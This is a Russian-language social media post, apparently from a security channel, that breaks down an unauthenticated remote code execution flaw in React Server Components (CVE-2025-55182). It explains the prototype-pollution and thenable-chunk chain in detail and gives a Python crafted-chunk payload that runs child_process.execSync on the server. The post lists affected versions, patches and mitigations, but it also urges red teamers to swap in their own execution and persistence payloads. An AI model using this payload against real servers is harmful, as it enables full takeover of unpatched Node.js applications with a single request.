3.2Kпросмотров
5 декабря 2025 г.
Score: 3.5K
React RCE POC: серверные компоненты, аутентификация не нужна, cvss 10.0. если у тебя next/react 19.x с server components – это уже твоя проблема. что именно взломали react flight-парсер не проверял, что ключи принадлежат самому объекту. через полезную нагрузку "$1:proto:constructor:constructor" можно было вытащить глобальный Function прямо при десериализации чанков. уже достаточно приятно: у нас есть «exec»-примитив без vm, eval и прочих костылей в сторону которых я думал вчера ночью. шаг 2: then + await next.js делает await decodeReplyFromBusboy(...). если декодер возвращает объект с полем then, рантайм воспринимает его как промис и вызывает then(resolve, reject). мы подсовываем объект, где then указывает на наш Function (достали его через proto). await послушно вызывает его. первый эффект – крэш на SyntaxError, но это только способ обнаружения наличия пути эксплуатации. настоящий RCE-чейн дальше начинается весёлое: спец-формат "$@0" позволяет вернуть сырой чанк по id, а не уже разобранный объект; чанки сами по себе thenable, через Chunk.prototype.then они попадают в initializeModelChunk; initializeModelChunk второй раз прогоняет наши данные через reviveModel, но уже вместе с внутренним объектом response. мы собираем фейковый чанк: status: "resolved_model" — чтобы сработал initializeModelChunk; value: '{"then":"$B0"}' — на втором проходе триггерится префикс $B (blob); _response._formData.get указываем на Function; _response._prefix забиваем строкой типа process.mainModule.require('child_process').execSync('id');. в reviveModel выполняется вызов: response._formData.get(response._prefix + "0") а значит реальный код, который крутится на сервере: Function("process.mainModule.require('child_process').execSync('calc');0") дальше эту функцию ещё и вызывают по цепочке промисов → полный RCE внутри node-процесса, один http-запрос, без логина. кто под угрозой? react 19.0–19.2 с react-server-dom- (webpack/parcel/turbopack); любые server actions / server functions; уязвимость живёт в самом decode/flight-парсере, а не в бизнес-логике. патч уже есть: 19.0.1 / 19.1.2 / 19.2.1. если у тебя прод на этих версиях и rsc включены — это не «надо бы обновиться», это «необходимо было сделать вчера». временные костыли — вырубить server components, ограничить доступ к endpoint’ам. еще есть худший вариант - жёстко фильтровать payload’ы с $@, $B, proto. что делать red team на next/react-проектах сразу проверять версии react-server-dom-; искать endpoint’ы с заголовком Next-Action и multipart body;
* разбирать PoC, и вместо calc добавлять ваши полезные нагрузки по исполнению/закреплению.
crafted_chunk = { "then": "$1:proto:then", "status": "resolved_model", # "reason": -1, "value": '{"then": "$B0"}', "_response": { "_prefix": f"process.mainModule.require('child_process').execSync('calc');", "_formData": { "get": "$1:constructor:constructor", }, },
} files = { "0": (None, json.dumps(crafted_chunk)), "1": (None, '"$@0"'),
}
https://github.com/msanft/CVE-2025-55182 это тот случай, когда js-фреймворк честно довозит тебя от грязного payload’а до DMZ а может и до L2. мое почтение, Moritz Sanft 👏 👾